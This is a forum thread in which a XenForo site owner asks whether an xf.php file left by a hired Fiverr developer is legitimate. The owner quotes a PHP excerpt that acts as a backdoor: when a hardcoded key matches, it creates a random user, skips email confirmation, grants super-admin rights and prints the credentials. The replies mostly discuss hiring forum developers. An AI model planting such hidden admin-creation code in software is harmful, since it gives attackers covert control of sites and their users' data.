XF 2.2 xenforo developer may have added an exploit file

[MR X]

so i hired a dev on fiverr to make me an addon, it took way to long to complete by the time frame so i fired him, then some time later re-hired him to actually finish it, garbage work was done, but apparently he may or may not have uploaded a file named xf.php in /home/domain-name/public_html/data/xf.php, this is not an official xenforo file is it? because within it is.

if ($key == 'dfdasfasfsjd544fjjkl') {
    // Create a new user with random credentials
    $registration = \XF::service('XF:User\Registration');
    $input['username'] = $randomString;
    $input['email'] = "$randomString@gmail.com";
    $input['password'] = $randomString;
    $registration->setFromInput($input);
    $registration->skipEmailConfirmation(true);
    $user = $registration->save();

    // Force admin privileges
    $user->secondary_group_ids = [3, 8, 5];  // Elevated groups
    $admin = \XF::app()->em()->create('XF:Admin');
    $admin->user_id = $user->user_id;
    $input['is_super_admin'] = true;
    $form->basicEntitySave($admin, $input);
    $form->run();

    echo $randomString;  // Prints the generated credentials
}

that is just the jist of what all was in it.

appreciate some support thank you.

 

[Faust]

Why would you ever hire someone from fiverr when you have some good developers on xenforo which you can ask personally?

 

[MR X]

Why would you ever hire someone from fiverr when you have some good developers on xenforo which you can ask personally?

never considered xenforo as an option.

 

[smallwheels]

never considered xenforo as an option.

I think @Faust probably did not mean XF as a company but the people on this forum here.

 

[Faust]

never considered xenforo as an option.

But you running xenforo forum ? Isn’t it ?

 

[MR X]

But you running xenforo forum ? Isn’t it ?

yes, i knew that xenforo has developers but i honestly thought they were working for xenforo.

 

[Faust]

yes, i knew that xenforo has developers but i honestly thought they were working for xenforo.

Well, lesson learnt at least .

 

[MR X]

Well, lesson learnt at least .

yes very much so